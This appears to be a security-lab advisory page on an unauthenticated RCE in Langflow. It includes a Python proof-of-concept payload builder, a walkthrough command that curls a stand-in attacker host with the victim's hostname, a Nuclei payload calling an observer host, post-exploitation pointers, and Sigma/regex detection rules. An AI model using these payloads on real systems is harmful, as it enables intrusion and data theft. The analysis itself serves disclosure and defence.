UNKNOWN CVSS: N/A 2026-04-21

CVE-2026-33017: Unauthenticated RCE in Langflow via Malicious Flow Graph Execution

Unauthenticated remote code execution in Langflow <= 1.8.1 via the public flow build endpoint and unsandboxed `exec()` call.

✗ Build Quality — 1 critical failure click to expand
docker-compose.lab.yml exists
docker-compose.lab.yml parses as valid YAML
compose declares at least one service
at least one service is labeled `com.ilovethreats.type=target`
target 'langflow' declares at least one port
target 'langflow' has a healthcheck
selected images can serve the vulnerable SAPI/runtime
image `ghcr.io/langflow-ai/langflow:1.8.1` exists on its registry
APIError: 401 Client Error for http+docker://localhost/v1.54/distribution/ghcr.io/langflow-ai/langflow:1.8.1/json: Unauthorized ("Head "https://ghcr.io/v2/langflow-ai/langflow/manifests/1.8.1": unauthorized")
`poc.py` parses as Python
`CVE-2026-33017.yara` looks like a YARA rule
No `rule NAME {` skeleton found.
`CVE-2026-33017.yml` is a Sigma rule mapping
Top level isn't a mapping (got NoneType)
`CVE-2026-33017-nuclei.yaml` parses + has Nuclei id/info
Missing top-level `id` or `info`

CVE-2026-33017: Unauthenticated RCE in Langflow via Malicious Flow Graph Execution

1. Executive Summary

CVE-2026-33017 represents a critical unauthenticated remote code execution (RCE) vulnerability in Langflow, an open-source platform designed for building and deploying AI-powered agents and workflow orchestration. Vulnerable instances running versions prior to 1.9.0 are susceptible to immediate system compromise without any authentication requirements.

The flaw resides in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which was architecturally intended to support unauthenticated compilation of publicly shared AI workflows. However, a design oversight allows attackers to supply an attacker-controlled data parameter that completely overrides the server-side stored flow definition. When this payload contains a CustomComponent node, Langflow's backend graph compiler invokes exec() on the raw Python source without sandboxing or validation. Because the malicious payload executes at the module level, commands run immediately during graph compilation, bypassing lazy-evaluation guards and method-level restrictions.

Impact: Complete unauthenticated remote code execution. Attackers can execute arbitrary system commands, exfiltrate sensitive AI training data, establish persistence, or pivot to internal infrastructure. Given Langflow's role as an AI orchestration layer, compromise also risks model weights, prompt injection chains, and downstream service integrations.

Risk Classification: Rated 100/100 for risk score and actively tracked in the CISA Known Exploited Vulnerabilities (KEV) catalog. While CVSS scoring remains unassigned by NVD at the time of publication, the attack vector, authentication requirement, and impact align with a Critical severity profile. Immediate remediation is strongly advised.

2. Technical Deep Dive

Langflow operates on a declarative graph architecture where workflows are represented as nodes (components) and edges (data flows). Each node can contain Python source code, configuration templates, and I/O definitions. When a workflow is saved, it is serialized to JSON and persisted in the database. When executed, the backend deserializes the JSON, compiles the nodes, and executes the compiled graph.

The vulnerability exploits a specific endpoint: /api/v1/build_public_tmp/{flow_id}/flow. According to its original design, this endpoint allows unauthenticated users to trigger a temporary build of a publicly shared flow. However, the implementation incorrectly processes an optional data JSON parameter supplied in the request body. Instead of loading the canonical flow from the database, the endpoint substitutes it with the attacker-provided data payload.

Once the malicious payload is ingested, the compilation pipeline invokes prepare_global_scope() inside validate.py. This function iterates over all CustomComponent nodes and extracts the .data.node.template._type.code.value field. Crucially, it passes this string directly to Python's built-in exec() function:

exec(node_code, global_scope)

Because exec() evaluates the entire string as a Python module, any statement placed at the top level of the source code executes immediately upon evaluation. The vulnerability author exploited this by injecting a module-level command execution statement:

_r = __import__('os').system("YOUR_COMMAND")

This payload precedes the actual Component class definition. When exec() runs, the OS command fires before the class is even instantiated. Traditional sandboxing approaches that restrict execution to method calls or delay evaluation until runtime are completely bypassed. The graph compiler treats the payload as legitimate component code, compiles it, and the arbitrary command executes in the context of the Langflow server process.

It is important to distinguish this from CVE-2025-3248, which addressed a similar code injection surface in /api/v1/validate/code by enforcing authentication. CVE-2026-33017 persists because the build_public_tmp endpoint was intentionally left unauthenticated to support public flow sharing, but the developers failed to validate or sanitize the data override parameter, trusting it as a legitimate flow submission.

From a memory and process perspective, the exec() call runs synchronously within the request handling thread (or an async worker pool depending on the deployment). No output is piped back to the HTTP response, which is why successful exploitation typically relies on out-of-band (OOB) exfiltration techniques such as DNS queries, HTTP webhooks, or reverse shells.

3. PoC Analysis

A functional proof-of-concept has been published that demonstrates the full attack chain, including auto-login enumeration, public flow targeting/payload injection, async job polling, and OOB execution confirmation.

🔗 Proof-of-Concept Repository:
https://github.com/MaxMnMl/langflow-CVE-2026-33017-poc
Credit: PoC developed and published by MaxMnMl.

The PoC is structured as a standalone Python script that automates the discovery, exploitation, and verification phases. Below is the core payload generation logic that demonstrates how the malicious exec() trigger is constructed:

def build_exploit_payload(command: str) -> dict:
    malicious_code = f"""\
from langflow.custom import Component
from langflow.io import Output

_r = __import__('os').system({repr(command)})


class ExploitComponent(Component):
    display_name = "ExploitComponent"
    description  = "CVE-2026-33017 PoC"
    outputs = [Output(display_name="Result", name="output", method="run")]

    def run(self) -> str:
        return "ok"
"""
    node_id = str(uuid.uuid4())
    return {
        "data": {
            "nodes": [
                {
                    "id": node_id,
                    "type": "genericNode",
                    "position": {"x": 0, "y": 0},
                    "data": {
                        "node": {
                            "template": {
                                "_type": {"value": "CustomComponent"},
                                "code": {"value": {"value": malicious_code}},
                                # ... additional template fields omitted for brevity
                            }
                        }
                    },
                    "width": 100,
                    "height": 100,
                    "pos": {"x": 0, "y": 0},
                    "selected": False,
                    "dragging": False,
                }
            ],
            "edges": [],
            "viewport": {"x": 0, "y": 0, "zoom": 1},
        }
    }

Key Implementation Details:

  • Auto-Login Handling: The script attempts /api/v1/auto_login to bypass credential prompts if AUTO_LOGIN=true is configured, a common default in development instances.
  • Flow Targeting: It enumerates existing public flows or dynamically creates a new one with access_type: "PUBLIC" to satisfy the URL path requirement.
  • OOB Execution: Because Langflow's compilation step does not capture stdout/stderr, the PoC relies on outbound callbacks (curl, wget, or DNSlog) to confirm RCE.
  • SSE Polling: After submission, the server returns a job_id. The PoC subscribes to /api/v1/build/{job_id}/events using Server-Sent Events to wait for the end_vertex event, confirming the graph compiled successfully.

The PoC also includes fallback authentication via Bearer tokens, graceful error handling for WAF middleware, and thread-safe logging for multi-target execution.

4. Exploitation Walkthrough

The following walkthrough demonstrates how to validate this vulnerability in an isolated lab environment. Always ensure you have explicit authorization before testing any vulnerability.

Step 1: Lab Environment Setup

  1. Deploy Langflow ≤ 1.8.1 using Docker or a local virtual environment.
    docker run -d --name langflow-vuln -p 7860:7860 langflowai/langflow:1.8.1
    
  2. Start an OOB listener to capture callbacks. For HTTP:
    python3 -m http.server 8080
    
    Or use a DNSlog service for blind verification.

Step 2: Prepare the PoC

Clone the repository and install dependencies:

git clone https://github.com/MaxMnMl/langflow-CVE-2026-33017-poc.git
cd langflow-CVE-2026-33017-poc
pip install -r requirements.txt

Step 3: Execute the Exploit

Run the PoC targeting your lab instance. The script will handle flow discovery, payload injection, and async compilation polling:

python3 poc.py --base-url http://127.0.0.1:7860 --cmd "curl http://attacker-ip:8080/shell?$(hostname)"

Step 4: Observe Compilation & Exfiltration

  1. The script will output [{TARGET}] Request sent, waiting for job completion...
  2. Langflow's backend begins graph compilation. During prepare_global_scope(), the module-level os.system() call executes.
  3. Your OOB listener receives the callback, confirming RCE.
  4. The PoC polls the SSE endpoint until event: end_vertex is received, verifying the build pipeline completed without crashing.

Step 5: Post-Exploitation Considerations

  • The execution occurs within the Langflow service account's context. Check environment variables, mounted volumes, and cloud credentials.
  • If deployed in Kubernetes, the pod likely has network access to internal AI model registries, vector databases, or orchestration backends.
  • The PoC demonstrates command execution; privilege escalation or lateral movement would follow standard post-exploitation methodology.

5. Detection & Monitoring

While vendor-specific signatures may vary, the following detection strategies align with the vulnerability's behavioral and payload characteristics. SOC teams should implement these alongside traditional vulnerability management.

5.1 Web Access Log Signatures

Monitor for POST requests to the vulnerable endpoint containing suspicious Python syntax or OOB DNS/HTTP callbacks in the JSON body:

# Example regex for WAF/SIEM
POST /api/v1/build_public_tmp/[^/]+/flow.*data.*code.*os\.system|__import__|exec\(.*system.*curl.*wget.*nslookup

5.2 Sigma Rule (Web Log)

title: Langflow build_public_tmp Python Code Injection
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects attempts to inject Python code into Langflow's public flow build endpoint
logsource:
  product: webserver
  service: http
detection:
  selection:
    uri|endswith: '/api/v1/build_public_tmp/*/flow'
    method: 'POST'
  payload:
    uri_body|contains:
      - '_r = __import__'
      - 'os.system('
      - 'code.value'
      - 'CustomComponent'
  condition: selection and payload
level: high
tags:
  - attack.execution
  - attack.code_injection
  - cve.2026.33017

5.3 EDR / Host-Level Indicators

  • Process Creation: python3, python, or uwsgi spawning curl, wget, nslookup, dig, or python3 -c immediately following API request spikes.
  • Network Egress: Unusual outbound connections from the Langflow container/IP to unknown IPs on ports 80/443/53 coinciding with /build_public_tmp/ traffic.
  • File System: Unexpected writes to /tmp/, /var/tmp/, or Python .pyc cache directories during periods of low legitimate traffic.

5.4 Nuclei Template Concept

id: cve-2026-33017-langflow-rce
info:
  name: Langflow Unauthenticated RCE
  author: MaxMnMl
  severity: critical
  tags: langflow,rce,cve2026
requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/v1/build_public_tmp/{{flow_id}}/flow"
    body: |
      {"data": {"nodes": [{"type": "genericNode", "data": {"node": {"template": {"_type": {"value": "CustomComponent"}, "code": {"value": {"value": "import os; os.system('curl http://OBSERVER/shell')}}"}}}}}]}}, "edges": [], "viewport": {}}
    matchers-condition: or
    matchers:
      - type: word
        part: header
        words:
          - "200 OK"
          - "201 Created"
      - type: status
        status:
          - 200
          - 201

6. Remediation Guidance

Langflow has released version 1.9.0, which addresses CVE-2026-33017 by enforcing strict validation on the data override parameter and implementing sandboxed execution contexts for exec() calls.

Immediate Actions

  1. Patch to ≥ 1.9.0: Upgrade all Langflow instances immediately. Verify the installation with langflow --version.
  2. Isolate Public Endpoints: If upgrading is not immediately feasible, restrict access to /api/v1/build_public_tmp/ using network segmentation, reverse proxy rules, or WAF allowlists. Disable public flow sharing if not operationally required.
  3. Disable Auto-Login: Set AUTO_LOGIN=false in your environment configuration to reduce the attack surface for credential-less access.
  4. Implement RBAC: Enforce API authentication for all build and validation endpoints. Require service accounts or bearer tokens for flow compilation.

Cloud & Managed Service Guidance

For organizations running Langflow on managed cloud infrastructure (AWS, GCP, Azure, or SaaS deployments):

  • Follow CISA BOD 22-01 guidance for cloud service hardening: disable default public access, enforce mTLS, rotate all exposed credentials, and audit logging retention.
  • Enable cloud-native WAF rules targeting OWASP API Top 10 injection patterns.
  • Review VPC flow logs and cloudtrail/audit logs for anomalous egress from Langflow compute instances.

Long-Term Mitigations

  • Code Execution Sandboxing: If running custom components is required, enforce containerized execution environments with restricted privileges, read-only filesystems, and egress firewalls.
  • AST Validation: Implement static analysis of code fields before passing to exec(). Reject payloads containing top-level imports, os.system, subprocess, or eval.
  • Audit Logging: Log all /build_public_tmp/ and /validate/code/ requests with full payload hashes to enable forensic correlation.

7. References


Disclaimer: This analysis is intended for defensive security practitioners, vulnerability researchers, and SOC teams. Unauthorized testing against production systems is illegal and violates ethical security guidelines. Always operate within authorized scopes and isolated lab environments.

🧪 Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • ✅ Isolated vulnerable target instance to exploit
  • ✅ Kali Linux attacker VM with pre-installed tools
  • ✅ Browser-based desktop access (Apache Guacamole)
  • ✅ Completely isolated network (no internet)
  • ✅ 1-hour session with automatic cleanup
⚠️ Free tier: 1 concurrent session max. Session expires after 1 hour.